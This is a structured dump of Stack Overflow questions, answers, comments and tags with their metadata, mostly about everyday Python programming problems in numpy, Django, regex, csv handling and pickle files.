+./stack.sh:exit_trap:497 -n '' 2017-11-12 14:03:34.310 | +./stack.sh:exit_trap:503 '[' -f '' ']' 2017-11-12 14:03:34.313 | +./stack.s…
has comment: http://stackoverflow.com/comment/81450706
tagged with: devstack
score: 1
tagged with: python

http://stackoverflow.com/comment/81628065
has text: I simply removed it. Come to find out the code didn't need it. I guess my initial interpretation of the code was wrong.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47279167

http://stackoverflow.com/comment/81460797
type: Comment
score: 0
type: AnswerComment
has text: Thanks a lot! But is there a way I could make it include an input statement so the program asks the user what cluster of words they want to enter, and then space them out? Sorry if I wasn't clear about that before, I very much appriciate the help!
comment on: http://stackoverflow.com/a/47255073

http://stackoverflow.com/a/47332342
type: Answer
accepted answer of: http://stackoverflow.com/q/47328528
upvote count: 1
answers question: http://stackoverflow.com/q/47328528
has comment: http://stackoverflow.com/comment/81617057
score: 1
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81617202
has body: This is coming from pyyaml module. Based on the fact that from version 3.6 Python for Windows is using UTF-8 for it's console IO it leads to errors. In case of running a subprocess, it thinks that the output from subprocess will be also UTF-8... which is not the case. There are 3 ways to fix this: Use Python &lt; 3.6 (e.g. 3.5.2) Use locale.getpreferredencoding(False) for the encoding Run a command from cmd/powershell: chcp . It will show the system default code, for example 936. Open Lib/site-package/pip/compat/init.py and around line 76 change return s.decode('utf_8') to return s.decode('cp936')
has comment: http://stackoverflow.com/comment/81628478

http://stackoverflow.com/q/47345935
upvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81643631
duplicate of: http://stackoverflow.com/q/20449427
has body: I am trying to print "count" , when count is smaller than my input value , but when I give the input value for X, it loos forever. Can anybody tell me why ? count = 0 x= raw_input() while count &lt;x : print (count ) count +=1
tagged with: python
has title: why while loops does not stop?
downvote count: 1
tagged with: python-2.7
linked to: http://stackoverflow.com/q/5762938
has answer: http://stackoverflow.com/a/47346028
score: -1
tagged with: loops
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47346045
has comment: http://stackoverflow.com/comment/81643557
answer count: 2

http://stackoverflow.com/q/47253892
linked to: http://stackoverflow.com/q/12876177
has comment: http://stackoverflow.com/comment/81458312
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/81458271
has comment: http://stackoverflow.com/comment/81458174
possible better answer: http://stackoverflow.com/a/47253999
accepted answer: http://stackoverflow.com/a/47253945
score: 1
has comment: http://stackoverflow.com/comment/81458247
has answer: http://stackoverflow.com/a/47253945
downvote count: 1
has title: Key Error using multiple keys to the same value in Dictionary
has comment: http://stackoverflow.com/comment/81458113
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81458205
tagged with: python-3.x
upvote count: 2
has answer: http://stackoverflow.com/a/47253999
has body: I'm trying to make a dictionary that returns the same value for diferent keys, currently I have it like so: GScale = { ('S1') : 'gN', ('S2') : 'aN', ('S3') : 'bN', ('N1','G1','A2','B2') : 'gG', ('N2','G2','A1','B3','C2') : 'aA', ('N3','G3','A3','B1','C3','D2') : 'bB', ('N4','A4','B4','C1','D3','E2') : 'cC', ('N5','B5','C4','D1','E3','F2') : 'dD', ('N6','C5','D4','E1','F3') : 'eE', ('N7','D5','E4','F1') : 'fF' } When I ask for GScale['S1'] I succesfully get 'gN' but when I ask for GScale['N1'] I get a key error, what could be the problem?
tagged with: python
has comment: http://stackoverflow.com/comment/81458299
tagged with: dictionary

http://stackoverflow.com/comment/81532331
has text: **args:** A MultiDict with the parsed contents of the query string. (The part in the URL after the question mark).I am not sure but when you send request to flask server maybe your url doesnt look like this `/newLog/count=5&device=0` but when you try with `postman` It creates a url like this. You have to make sure your url look like that I showed for `query string`.
type: Comment
comment on: http://stackoverflow.com/q/47287552
score: 0
type: QuestionComment

http://stackoverflow.com/q/47369861
has answer: http://stackoverflow.com/a/47378454
type: AnsweredQuestion
has title: NeuPy: Input shapes issues
answer count: 1
downvote count: 0
tagged with: machine-learning
score: 1
upvote count: 1
tagged with: neupy
favorite count: 0
has body: I want to build a neural network using neupy. Therefore I consturcted the following architecture: network = layers.join( layers.Input(10), layers.Linear(500), layers.Relu(), layers.Linear(300), layers.Relu(), layers.Linear(10), layers.Softmax(), ) My data is shaped as follwoing: x_train.shape = (32589,10) y_train.shape = (32589,1) When I try to train this network using: model.train(x_train, y_trian) I get the follwoing error: ValueError: Input dimension mis-match. (input[0].shape[1] = 10, input[1].shape[1] = 1) Apply node that caused the error: Elemwise{sub,no_inplace}(SoftmaxWithBias.0, algo:network/var:network-output) Toposort index: 26 Inputs types: [TensorType(float64, matrix), TensorType(float64, matrix)] Inputs shapes: [(32589, 10), (32589, 1)] Inputs strides: [(80, 8), (8, 8)] Inputs values: ['not shown', 'not shown'] Outputs clients: [[Elemwise{Composite{((i0 * i1) / i2)}}(TensorConstant{(1, 1) of 2.0}, Elemwise{sub,no_inplace}.0, Elemwise{mul,no_inplace}.0), Elemwise{Sqr}[(0, 0)](Elemwise{sub,no_inplace}.0)]] How do I have to edit my network to map this kind of data? Thank you a lot!
type: Question
tagged with: theano
tagged with: python
accepted answer: http://stackoverflow.com/a/47378454

http://stackoverflow.com/comment/81463144
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47255281
score: 0
has text: @anarcat I guess that my comment mentions only a part of the problem.

http://stackoverflow.com/comment/81584439
comment on: http://stackoverflow.com/a/47315541
type: AnswerComment
has text: Yeah it is working fine except one scenario like Instead of 20170909, I declared 201799 is also it is taking as correct format which is wrong case for me.
score: 0
type: Comment

http://stackoverflow.com/comment/81696806
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47344486
has text: Ahhh, lightbulb! I really didn't understand what flat_map was doing, thanks very much! Totally works!
type: Comment

http://stackoverflow.com/comment/81431420
score: 0
type: Comment
has text: I was waiting for someone to suggest specifying a capture group :)
comment on: http://stackoverflow.com/a/47240580
type: AnswerComment

http://stackoverflow.com/comment/81448432
score: 2
has text: What do you mean by 'has a value'? It is somewhat unclear.
type: Comment
comment on: http://stackoverflow.com/q/47249113
type: QuestionComment

http://stackoverflow.com/comment/81506219
type: Comment
comment on: http://stackoverflow.com/q/47264636
type: QuestionComment
has text: updated with setup.py
score: 0

http://stackoverflow.com/comment/81579572
comment on: http://stackoverflow.com/q/47309455
type: Comment
has text: @Parfait, any suggestions now?
type: QuestionComment
score: 0

http://stackoverflow.com/a/73702348
answers question: http://stackoverflow.com/q/47339043
has comment: http://stackoverflow.com/comment/130148857
has comment: http://stackoverflow.com/comment/130148084
score: 0
type: Answer
has body: I was facing the same issue and I resolved it by using the pillow library. The Pillow library will give us the height and width of the image in pixels. And if you divide it by 10 it will work as we needed. After this, I am abled to get the y coordinate exactly below the inserted image. I inserted another image exactly below the previous image. y = pdf.get_y() img_height = Image.open(imagePath).height/10 y = y + img_height + 10 pdf.set_y(y) That's how you will get it and to set the y coordinate I used pdf.set_y(y).

http://stackoverflow.com/comment/81576533
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47305259
has text: @Maximilian Upload the input images as png and share links?

http://stackoverflow.com/q/47231918
has title: Python script writes to file when run in IDE but not in terminal
has comment: http://stackoverflow.com/comment/81414878
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81414763
type: Question
tagged with: raspbian
tagged with: raspberry-pi
has comment: http://stackoverflow.com/comment/81415852
type: UnansweredQuestion
has body: I'm trying to use an OS task scheduler on raspberry pi to run a python script every hour that will take a reading and write to a file. I'm getting a strange issue where if I run the file from my Thonny IDE, the script writes to a file as intended. However, running the script from bash, as the OS scheduler does, gives me my print output in the terminal window but doesn't write to the file. What could be the reason for this? Here's what I get in the terminal, same as the IDE, showing that program is executing just fine: pi@raspberrypi:~ $ python3.4 /home/pi/python/TempHumidityCollection.py 2017-11-10 17:10:02.275003 Temperature in Celsius is : 22.75 C Relative Humidity is : 34.20 % Here's the code for reference: from si7021 import * from datetime import datetime import schedule import time print(str(datetime.now())) temp = getTempC() humidity = getHumidity() print("\n") with open('circe_data.txt', 'a') as file: file.write(str(datetime.now()) + '\n') file.write('Temp (deg C): %.2f\n' %temp) file.write('Percent Humidity: %.2f\n\n' %humidity) file.close()
has comment: http://stackoverflow.com/comment/81414893
tagged with: python
has comment: http://stackoverflow.com/comment/81414769

http://stackoverflow.com/comment/81421403
type: QuestionComment
type: Comment
has text: @amanbirs yes it works! It reads all dates as ints while leaving blanks as nan.
score: 0
comment on: http://stackoverflow.com/q/47234997

http://stackoverflow.com/comment/81504547
comment on: http://stackoverflow.com/a/47276178
score: 0
type: AnswerComment
type: Comment
has text: @learner: ah, you must be using an ancient version of Python. You might want to upgrade, lots of people (including me!) no longer always write Python 2-compatible code anymore.

http://stackoverflow.com/comment/81551659
type: AnswerComment
has text: After sending a request from the POSTMAN, with a file which is saving locally as expected etc, i haven't get anything except the route names after each call which is fine.
score: 0
comment on: http://stackoverflow.com/a/47300277
type: Comment

http://stackoverflow.com/comment/81589674
type: Comment
comment on: http://stackoverflow.com/a/47319060
score: 0
has text: Thanks Sam; that formula would take the user's binary value, divide it by "(2 to the power of B)", correct? And B is going to be a counter of some sort I'll set up? Namely which bit I'm referring and which power of two to use?
type: AnswerComment

http://stackoverflow.com/comment/81467076
comment on: http://stackoverflow.com/q/47258113
type: Comment
type: QuestionComment
has text: you can use `return mainmenu()`
score: 1

http://stackoverflow.com/a/47343904
type: Answer
answers question: http://stackoverflow.com/q/47321243
has body: As you are sending all the file in binary mode, you should open all the files with 'rb' mode. Default open() will use the text mode to open a file, which means treats all the content as text.However you have some binary file like REDACTED.tar.bz2 in the case above. Using text mode to read these files will make the file content different from the origin one. This question may help you on open() : Difference between parsing a text file in r and rb mode:
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/q/47308430
possible better answer: http://stackoverflow.com/a/47309136
answer count: 2
downvote count: 2
accepted answer: http://stackoverflow.com/a/47308545
upvote count: 1
has answer: http://stackoverflow.com/a/47308545
favorite count: 0
type: Question
tagged with: python-3.x
type: AnsweredQuestion
has title: How to add number before a word inside a text file?
has comment: http://stackoverflow.com/comment/81567176
has body: I have this menu inside a text file: #Menu 1 file Jelly Fish Yee Sang with Pear Dried Seafood with Fish Soup Steamed Sea Water Grouper and I have this code: menuList = input('enter number:') def printPackage(menuList): if menuList == '1': with open('menu/Menu1.txt')as f: data = f.read() print(data) printPackage(menuList) What should I add to my code so that I have my text file to print like this? --------- Menu List --------- 1. Jelly Fish Yee Sang with Pear 2. Dried Seafood with Fish Soup 3. Steamed Sea Water Grouper Help please.
has answer: http://stackoverflow.com/a/47309136
tagged with: python
score: -1

http://stackoverflow.com/comment/81609019
has text: Thanks very much Andersson. I understood the mistake. Also, I believe that get(link) will click on the link and in conjunction with back() it will allow me to go back and forth. I'll do some more reading on this. But thanks very much!!
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47329042

http://stackoverflow.com/comment/81665240
comment on: http://stackoverflow.com/a/47352362
type: Comment
type: AnswerComment
has text: You could even give that class a `__call__` method such that it feels like a function.
score: 0

http://stackoverflow.com/q/47298907
has comment: http://stackoverflow.com/comment/81554462
possible better answer: http://stackoverflow.com/a/47298960
has title: Fast row deletion in numpy
has answer: http://stackoverflow.com/a/47298960
favorite count: 0
accepted answer: http://stackoverflow.com/a/47300466
type: Question
tagged with: numpy
has body: I am working with a big numpy matrix (approximately 75k rows of 2 integers each) from which I have to delete some rows. I would like to know if there is a fast way to delete a row without regenerating the whole array i.e. is there a function the change just the "mask" (or whatever is called) of the matrix, without effectively delete the row in memory? I could then regenerate a clean matrix after I delete all the proper rows.
answer count: 2
has answer: http://stackoverflow.com/a/47300466
downvote count: 0
upvote count: 1
tagged with: python
type: AnsweredQuestion
tagged with: row
score: 1

decision-tree
type: Tag
tags question: http://stackoverflow.com/q/47251594
tags question: http://stackoverflow.com/q/47370872
tag name: decision-tree

http://stackoverflow.com/a/47295451
has body: The function is called writerows (with an s). So the function does not expect a single dictionary, you need to pass an iterable of dictionaries, so you can write: import json, csv with open('names.csv','w') as csvfile: values = ['full_name', 'party', 'district','email'] writer = csv.DictWriter(csvfile, fieldnames=values, extrasaction='ignore') writer.writeheader() writer.writerows(data) You need to use the extrasaction='ignore' here since your dictionaries contain extra keys that are not present in the values list. The writer will error if you do not provide a way to resolve this. You also need to write the data in the body of the with clause, since after the (end of the) with, the file is closed again. This snippet produces: full_name,party,district,email Gerald L. Brady,Democratic,4,Gerald.Brady@state.de.us Ruth Briggs King,Republican,37,Ruth.BriggsKing@state.de.us
type: Answer
score: 2
upvote count: 3
answers question: http://stackoverflow.com/q/47295383
downvote count: 1

http://stackoverflow.com/a/47354523
has comment: http://stackoverflow.com/comment/81662004
type: Answer
answers question: http://stackoverflow.com/q/47354380
upvote count: 6
accepted answer of: http://stackoverflow.com/q/47354380
has comment: http://stackoverflow.com/comment/81662971
has comment: http://stackoverflow.com/comment/81662706
has comment: http://stackoverflow.com/comment/81662979
has comment: http://stackoverflow.com/comment/81662195
type: AcceptedAnswer
downvote count: 0
score: 6
has body: Generator based approach: def chunk_dict(d, chunk_size): r = {} for k, v in d.items(): if len(r) == chunk_size: yield r r = {} r[k] = v if r: yield r d = {1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6} list(chunk_dict(d, 2)) # [{1: 1, 2: 2}, {3: 3, 4: 4}, {5: 5, 6: 6}] A shorter and more performant version of the same functionality (using itertools.islice) can be found in this answer. For a given number of as evenly as possible distributed chunks (e.g. sizes 4, 4, 3, 3 instead of 4, 4, 4, 2), you can do: chunks = [{} for _ in range(num_chunks)] for i, k in enumerate(d): chunks[i % num_chunks][k] = d[v]

http://stackoverflow.com/a/47312182
answers question: http://stackoverflow.com/q/47311681
has body: Brief It's unclear what exactly characters refers to, but, assuming you mean alpha characters (based on your input), this regex should work for you. Code See regex in use here ^(?:(?!\d)[\w ])+$ Note: This regex uses the mu flags for multiline and Unicode (multiline only necessary if input is separated by newline characters) Results Input ÀÇÆ some words ÀÇÆ some words 123 Output This only shows matches ÀÇÆ some words Explanation ^ Assert position at the start of the line (?:(?!\d)[\w ])+ Match the following one or more times (tempered greedy token) (?!\d) Negative lookahead ensuring what follows doesn't match a digit. You can change this to (?![\d_]) if you want to ensure _ is also not used. [\w ] Match any word character or space (matches Unicode word characters with u flag)` $ Assert position at the end of the line
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47311681
upvote count: 1
score: 1
type: AcceptedAnswer

win32gui
type: Tag
tags question: http://stackoverflow.com/q/47381304
tag name: win32gui

http://stackoverflow.com/comment/81655754
has text: Can you capture image from the camera and display it.??
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47335671
type: AnswerComment

http://stackoverflow.com/a/47277697
accepted answer of: http://stackoverflow.com/q/47277656
has comment: http://stackoverflow.com/comment/81591012
type: Answer
has comment: http://stackoverflow.com/comment/81506933
has comment: http://stackoverflow.com/comment/81579724
has comment: http://stackoverflow.com/comment/81506538
has comment: http://stackoverflow.com/comment/81593863
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/81594131
has comment: http://stackoverflow.com/comment/81506977
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47277656
has comment: http://stackoverflow.com/comment/81506668
has body: It will likely be more efficient using a Counter, then extracting the values for the vowels, and retuen them: from collections import Counter def count_vowels(phrase): """ accepts a string and counts the number of each vowels. returns a dictionary key --&gt; values of each vowel and their number of occurrences. """ vowels = "aeiou" frequencies = Counter(phrase.lower()) return {vowel: frequencies[vowel] for vowel in vowels} as a one-liner: (as suggested by @stevenRumbalski in the comments) from collections import Counter def count_vowels(phrase): """ accepts a string and counts the number of each vowels. returns a dictionary key --&gt; values of each vowel and their number of occurrences. """ vowels = "aeiou" return Counter(c for c in phrase.lower() if c in vowels)

http://stackoverflow.com/comment/81673444
has text: It's not a problem if it was accidental. Just check before posting :-) It's fine if we post within 1-2 minutes of each other, but the difference between ours is almost 8 minutes.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47360239

http://stackoverflow.com/comment/81507737
type: Comment
has text: So simple now you explain it. Thanks
type: AnswerComment
comment on: http://stackoverflow.com/a/47278509
score: 0

http://stackoverflow.com/comment/81660863
score: 0
type: Comment
type: AnswerComment
has text: @SamBerlin , I would be happy to use `Find` function if there's one, the only one I see in google library is `new FindReplace().setFind(String)).getFind()` . I got the impression that your example would change the sheet title (if I have a Sheet1 and Sheet2 for example, it would change the title to Students and Classes for example) , isn't it?
comment on: http://stackoverflow.com/a/47330057

http://stackoverflow.com/q/47364978
type: Question
has body: I want to build my first neural net for recognazing hand-written digits in python, but I cant find a good, simple termination rule? What I mean by "termination rule" is when to stop updating my weights and biases, or how to know I've reached a lcal min. Let me be clear. I’m not looking for the best performing-most advanced-most sophisticated rule. On the contrary, I want the simplest, easiest to implement, good to get started rule that will just get the job reasonably done. If there is any more information requierd for you to answer, please do tell and I'll add it here.
has answer: http://stackoverflow.com/a/47366391
accepted answer: http://stackoverflow.com/a/47366391
tagged with: gradient-descent
tagged with: neural-network
tagged with: python
has comment: http://stackoverflow.com/comment/81683425
has comment: http://stackoverflow.com/comment/81682841
type: AnsweredQuestion
tagged with: backpropagation
downvote count: 0
score: 1
upvote count: 1
has title: Neural net termination rule
answer count: 1
tagged with: machine-learning
linked to: http://stackoverflow.com/q/34603987
has comment: http://stackoverflow.com/comment/81683454
has comment: http://stackoverflow.com/comment/81682803
favorite count: 0

http://stackoverflow.com/q/47257329
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47257387
has title: generic code for creating an X*Y 2 dimensional list in python
score: 3
has comment: http://stackoverflow.com/comment/81465951
tagged with: python
has body: I'm trying to create a function with three parameters: x,y,val that will return a two dimensional array with x rows and y columns and every single value initialized to val. e.g. myList = createList(2,3,"-") would create the resulting list: [["-", "-", "-"] ["-", "-", "-"]] so far I've created the following function for this but it puts all the initial values on one list: def createList(x,y,val): myList=[] for i in range(x): for j in range(y): myList.append(val) return myList print(createList(2,3,"-")) which creates the output: ['-', '-', '-', '-', '-', '-']
possible better answer: http://stackoverflow.com/a/47257387
has comment: http://stackoverflow.com/comment/81465876
linked to: http://stackoverflow.com/q/2397141
has comment: http://stackoverflow.com/comment/81466026
upvote count: 4
type: AnsweredQuestion
answer count: 2
accepted answer: http://stackoverflow.com/a/47257453
duplicate of: http://stackoverflow.com/q/2397141
has answer: http://stackoverflow.com/a/47257453
has comment: http://stackoverflow.com/comment/81465593
downvote count: 1

http://stackoverflow.com/q/47244702
has title: Some values are not added to my dictionary from a loop
type: Question
has answer: http://stackoverflow.com/a/47250879
possible better answer: http://stackoverflow.com/a/47250879
has comment: http://stackoverflow.com/comment/81439861
tagged with: python
has comment: http://stackoverflow.com/comment/81440138
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81439934
has body: I have this code def query(q, L): result = [] mDict = {} key = 0 for x, i in enumerate(L): for y in i: if q == y: key += 1 if q in i: result.append(x) mDict[key]=x key = 0 print (mDict) print (result) q = "h" l = ["phone", "power", "high", "phones"] query(q, l) I am expecting my printed output to be {1: 0, 2: 2, 1: 3} [0, 2, 3] but instead I am getting {1: 3, 2: 2} [0, 2, 3] can anyone help me out?
has comment: http://stackoverflow.com/comment/81445280
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47244931
accepted answer: http://stackoverflow.com/a/47244931
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/81439964

http://stackoverflow.com/q/47288909
has body: i created a blog this is my models.py configurations: from django.db import models from django.utils import timezone from django.contrib.auth.models import User from django.core.urlresolvers import reverse # Create your models here. class PublishedManager(models.Manager): def get_queryset(self): return super(PublishedManager, self).get_queryset()\ .filter(status='published') class post(models.Model): STATUS_CHOICE=( ('draft','DRAFT'), ('published','Published'), ('admin','admin'), ) title=models.CharField(max_length=250,null=True) author=models.ForeignKey(User,related_name='blog_posts',null=True) slug=models.SlugField(max_length=250,unique_for_date='publish',null=True) body=models.TextField(default='') publish=models.DateTimeField(default=timezone.now) created = models.DateTimeField(auto_now_add=True,null=True) updated =models.DateTimeField(auto_now=True) status = models.CharField(max_length=10, choices =STATUS_CHOICE, default='draft') objects = models.Manager() published = PublishedManager() class Meta: ordering = ('-publish',) def __str__(self): return self.title def get_absolute_url(self): return reverse('blog:post_detail',args=[self.publish.year, self.publish.strftime('%m'), self.publish.strftime('%dz'), self.slug]) and this is my views.py: from django.shortcuts import render from .models import post # Create your views here. def post_list(request): posts= post.published.all() return render(request,'blog/post/list.html',{posts:posts}) def post_detail(request,year,month,day,post): post=get_object_or_404(post,slug=post, status = 'published', publish__year=year, publish__month=month, publish__day=day) return render(request,'blog/post/index.html',{'post':post}) and this is my base.html: {%load staticfiles%} {% block title %} {% endblock %} {% block content %} {% endblock %} my blog this blog and my list.html file: {% extends "blog/base.html" %} {% block title %}My blog{% endblock %} {% block content %} My Blog {% for post in posts %} {{ post.title }} Published {{ pos…
has answer: http://stackoverflow.com/a/47289451
score: 0
tagged with: django-templates
tagged with: django-views
answer count: 1
has title: cant see my post in my list .html
has comment: http://stackoverflow.com/comment/81528733
has comment: http://stackoverflow.com/comment/81529101
has comment: http://stackoverflow.com/comment/81529015
has comment: http://stackoverflow.com/comment/81528628
type: Question
has comment: http://stackoverflow.com/comment/81528654
has comment: http://stackoverflow.com/comment/81529569
type: UnansweredQuestion
tagged with: django
tagged with: django-models
tagged with: python
has comment: http://stackoverflow.com/comment/81528473

http://stackoverflow.com/a/47321695
answers question: http://stackoverflow.com/q/47321531
has body: 1. distances = [[dist(*pair),pair] for pair in combinations( p,2)] 2. print sorted(distances)[0][1] code line 1. define the distance list with the pair details. it will be a list of lists. code line 2. sort the distance list. python default use the first index based sorting. therefor you will get the sorted array with distances. so [0]th element will be the smallest. [1] is its points. This is not more accurate to do this kind of problem. but hope this will help you
type: Answer
score: 0

http://stackoverflow.com/comment/81459627
comment on: http://stackoverflow.com/a/47253352
type: Comment
has text: Yea, I tried your command and I also tried using httpie, both return 500. Usually for internal server error, there's something wrong with code. I was reexaming my other part of code, and it just doesn't seem like there's something going wrong. I'll add other part of script in EDIT
score: 0
type: AnswerComment

http://stackoverflow.com/q/47366664
linked to: http://stackoverflow.com/q/20716812
answer count: 0
tagged with: file
has comment: http://stackoverflow.com/comment/81685710
has comment: http://stackoverflow.com/comment/81685820
has comment: http://stackoverflow.com/comment/81685748
has comment: http://stackoverflow.com/comment/81685843
has comment: http://stackoverflow.com/comment/81685818
has body: I am creating a program that manages a file for patients; it's part of a project. I've created a log file. I've pickled the information of the patients as instances in the file. In the following code, I'm attempting to traverse the file and receive the patient instance that satisfies the given condition: def searchpatientnumber(): patobj=open("G:\patientregister.log", "ab+") test=patient() #the patient class patientid=raw_input("Enter patient register number:") import pickle test=pickle.load(patobj) try: while True: #I hoped that this loop will help read the whole file if test.registerno==patientid: #registerno is a datamember test.displaynumber() #member function break else: print "Patient not registered, try again." break except EOFError: patobj.close() The code works, however, it is only able to read the first instance in the file but can't read the rest. Can I please get a way to traverse all the instances of a binary file? Thank you.
type: Question
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81685770
has comment: http://stackoverflow.com/comment/81685857
tagged with: class
has comment: http://stackoverflow.com/comment/81685919
has title: Python - Reading and Writing Objects in Binary Files
score: 0

http://stackoverflow.com/comment/81414878
comment on: http://stackoverflow.com/q/47231918
score: 0
type: Comment
type: QuestionComment
has text: Have you tried explicitly doing a file.flush() after the file.write().

http://stackoverflow.com/a/57285695
accepted answer of: http://stackoverflow.com/q/47340082
answers question: http://stackoverflow.com/q/47340082
type: AcceptedAnswer
type: Answer
has body: add directory 'templates' to your project use path templates/music/index.html
score: 0

http://stackoverflow.com/q/47370718
downvote count: 0
answer count: 3
score: 7
upvote count: 7
has answer: http://stackoverflow.com/a/47370765
favorite count: 0
type: Question
tagged with: numpy
tagged with: idioms
has answer: http://stackoverflow.com/a/47370817
possible better answer: http://stackoverflow.com/a/47370817
has answer: http://stackoverflow.com/a/47371304
tagged with: arrays
accepted answer: http://stackoverflow.com/a/47370765
tagged with: python
has title: Indexing numpy array by a numpy array of coordinates
has body: Suppose we have an n-dimensional numpy.array A a numpy.array B with dtype=int and shape of (n, m) How do I index A by B so that the result is an array of shape (m,), with values taken from the positions indicated by the columns of B? For example, consider this code that does what I want when B is a python list: &gt;&gt;&gt; a = np.arange(27).reshape(3,3,3) &gt;&gt;&gt; a[[0, 1, 2], [0, 0, 0], [1, 1, 2]] array([ 1, 10, 20]) # the result we're after &gt;&gt;&gt; bl = [[0, 1, 2], [0, 0, 0], [1, 1, 2]] &gt;&gt;&gt; a[bl] array([ 1, 10, 20]) # also works when indexing with a python list &gt;&gt;&gt; a[bl].shape (3,) However, when B is a numpy array, the result is different: &gt;&gt;&gt; b = np.array(bl) &gt;&gt;&gt; a[b].shape (3, 3, 3, 3) Now, I can get the desired result by casting B into a tuple, but surely that cannot be the proper/idiomatic way to do it? &gt;&gt;&gt; a[tuple(b)] array([ 1, 10, 20]) Is there a numpy function to achieve the same without casting B to a tuple?
type: AnsweredQuestion

http://stackoverflow.com/comment/81471564
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47260182
score: 0
has text: Thank you so much for your time,will check your code logic thoroughly.

http://stackoverflow.com/comment/81524708
type: QuestionComment
type: Comment
has text: @Lescure I have added code of label_image.py, but I do not copy the code of retrain.py as there is a word limitation
comment on: http://stackoverflow.com/q/47286824
score: 0

http://stackoverflow.com/comment/111672981
comment on: http://stackoverflow.com/a/62087166
type: AnswerComment
has text: Hello Lakwin, this can be done just the same as you would do, when building the model from scratch, by using model.predict(). that question was answered here: https://stackoverflow.com/questions/37891954/keras-how-do-i-predict-after-i-trained-a-model
type: Comment
score: 0

http://stackoverflow.com/q/47367681
linked to: http://stackoverflow.com/q/7682561
has answer: http://stackoverflow.com/a/47367802
has answer: http://stackoverflow.com/a/47368023
accepted answer: http://stackoverflow.com/a/47367802
downvote count: 3
has body: I am splinting a text based on ",". I need to ignore the commas in text between quotes (simple or doubled). Example of text: Capacitors,3,"C2,C7-C8",100nF,, Capacitors,3,'C2,C7-C8',100nF,, Have to return ['Capacitors','3','C2,C7-C8','100nF','',''] How to say this (ignore between quotes) in regular expressions? (of python) For now, I am using pattern = re.compile('\s*,\s*') pattern.split(myText)
upvote count: 1
has comment: http://stackoverflow.com/comment/81688107
favorite count: 0
type: Question
has title: Regular expression python ignore pattern between quotes
has answer: http://stackoverflow.com/a/47368669
score: -2
has comment: http://stackoverflow.com/comment/122726035
possible better answer: http://stackoverflow.com/a/47368023
tagged with: python
tagged with: regex
type: AnsweredQuestion
answer count: 3

http://stackoverflow.com/comment/81699461
has text: Error messages/ Stacktrace?
comment on: http://stackoverflow.com/q/47373254
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47310880
answers question: http://stackoverflow.com/q/47310496
has comment: http://stackoverflow.com/comment/81572411
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81572514
upvote count: 1
has body: You should pass self (the current instance of your form) when doing self.helper = FormHelper() self.helper = FormHelper(self) From the exemple on this page: http://django-crispy-forms.readthedocs.io/en/latest/form_helper.html from crispy_forms.helper import FormHelper class ExampleForm(forms.Form): def __init__(self, *args, **kwargs): super(ExampleForm, self).__init__(*args, **kwargs) self.helper = FormHelper(self) # You missed to pass the self argument here Also, you define your action url as self.helper.form_action = reverse('thankyou') I don't think this is what you want. The form_action should be your login url.
accepted answer of: http://stackoverflow.com/q/47310496
score: 1
type: Answer

http://stackoverflow.com/comment/81404189
type: Comment
has text: @BenKester, try using `facecolor = 'm'` which will change the facecolor to Magenta, making it easier to see, then show me what is the output.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47226414

http://stackoverflow.com/comment/81629275
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47337251
has text: @CarloAllocca I thought you accepted Wen’s answer because that’s what you’re using?

http://stackoverflow.com/a/76566433
score: 1
has body: try below code from pyspark.sql import functions as F exprs = [F.max(x) for x in ["col1","col2"]] print(*exprs)
type: Answer
answers question: http://stackoverflow.com/q/47265712
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81689198
type: Comment
comment on: http://stackoverflow.com/a/47368371
has text: @schwobaseggl thanks! you answered list comprehension, so..
type: AnswerComment
score: 0

http://stackoverflow.com/comment/81682065
has text: import string string.punctuation def open_file(f): with open(input("Enter a file name: "),'r' ) as inf: f = inf.read() return read_data(f) def read_data(f): f = "".join(i for i in f if i not in string.punctuation) d = f.lower() d = d.strip() d = d.split('\n') print(d)
type: QuestionComment
comment on: http://stackoverflow.com/q/47364547
score: 0
type: Comment

http://stackoverflow.com/a/47238758
accepted answer of: http://stackoverflow.com/q/47238708
has body: One approach - def set_matrix(n): out = np.full((n,n),-1) off_diag_mask = ~np.eye(n,dtype=bool) out[off_diag_mask] = np.arange(n*n-n) return out Sample runs - In [23]: set_matrix(3) Out[23]: array([[-1, 0, 1], [ 2, -1, 3], [ 4, 5, -1]]) In [24]: set_matrix(4) Out[24]: array([[-1, 0, 1, 2], [ 3, -1, 4, 5], [ 6, 7, -1, 8], [ 9, 10, 11, -1]])
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47238708

http://stackoverflow.com/comment/81581308
has text: Cheers. Assuming there are multiple roots on the interval, can you somehow display all of them?
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47314490

http://stackoverflow.com/q/47342250
type: AnsweredQuestion
downvote count: 0
has title: Python find CRC32 of string
has answer: http://stackoverflow.com/a/47342378
favorite count: 0
